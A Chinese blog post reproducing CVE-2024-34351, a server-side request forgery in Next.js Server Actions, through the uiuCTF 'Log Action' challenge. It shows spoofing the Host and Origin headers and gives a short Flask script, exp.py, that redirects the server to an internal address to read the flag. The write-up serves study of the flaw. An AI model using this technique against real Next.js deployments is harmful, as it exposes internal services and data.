当前位置:首页 » 《休闲阅读》 » 正文

CVE-2024-34351 漏洞复现

14 人参与  2024年10月14日 15:20  分类 : 《休闲阅读》  评论

点击全文阅读


CVE-2024-34351,由Next.js异步函数createRedirectRenderResult导致的SSRF。

影响版本:13.4.0<= Next.js < 14.1.1

参考文章:

Next.js Server-Side Request Forgery in Server Actions · CVE-2024-34351 · GitHub Advisory Database · GitHub

在 NextJS 应用中挖掘 SSRF (assetnote.io)

CVE-2024-34351|Next.js框架存在SSRF漏洞-腾讯云开发者社区-腾讯云 (tencent.com)

通过uiuCTF Log Action赛题复现,开题:

image-20240702042841986

点击之后是登录,正如题目描述,登录不起作用。

image-20240702042911958

给了源码,我们先看一看。docker里面给出了flag的位置,看到这个就知道多半不是RCE拿flag了。

image-20240702043046823

ts源码整体看下来没什么明显漏洞点,登录部分用户名是admin,密码是每次随机的16位数,这意味着不可能正常登录,而且正常登录后admin路由也不给flag。

image-20240702044126433

引用一下外国老哥在wp中所阐述的观点: Log4J RCE(远程代码执行)漏洞,它让我意识到我们都使用的所有库和模块都可能存在潜在危险。

CVE-2024-34351简述一下就是由于Next.js代码漏洞引起的,,当我们调用服务器操作并响应重定向时,它会调用异步函数createRedirectRenderResult

在附件文件log-action\frontend\src\app\logout\page.tsx,确实用到了Next.js并且进行了路由跳转

image-20240702045039903

抓一下注销时候的包

image-20240702045159668

根据老哥的源代码分析,我们可以通过HOST头来控制跳转的,因为有检查 CSRF 攻击的防御手段,所以我们还需要同步更新Origin。服务器开启监听,收到请求!

image-20240702045714993

image-20240702045915007

OK到这里SSRF已经验证了,接下来就是重定向到内网拿flag。

接下来就是SSRF拿flag的事情了,直接跳到拿flag还是跨度挺大的,中间还有一些分析,感兴趣的话可以去看看国外老哥写的文章:Log Action | Siunam’s Website (siunam321.github.io)

在安装完docker,启动容器时,docker会为容器默认分配一个容器子网,一般为172.17.0.0/24

但是这里后端服务的内部IP地址是172.18.0.2

直接看利用,py脚本上传服务器,python起一个服务

image-20240702051528443

exp.py

from flask import Flask, request, Response, redirectapp = Flask(__name__)@app.route('/login')def exploit():    # CORS preflight check    if request.method == 'HEAD':        response = Response()        response.headers['Content-Type'] = 'text/x-component'        return response    # after CORS preflight check    elif request.method == 'GET':        ssrfUrl = 'http://172.18.0.2/flag.txt'        return redirect(ssrfUrl)    if __name__ == '__main__':    app.run(host='0.0.0.0', port=1717, debug=True)

image-20240702053503440

image-20240702053633311


点击全文阅读


本文链接:http://zhangshiyu.com/post/171724.html

<< 上一篇 下一篇 >>

  • 评论(0)
  • 赞助本站

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

关于我们 | 我要投稿 | 免责申明

Copyright © 2020-2022 ZhangShiYu.com Rights Reserved.豫ICP备2022013469号-1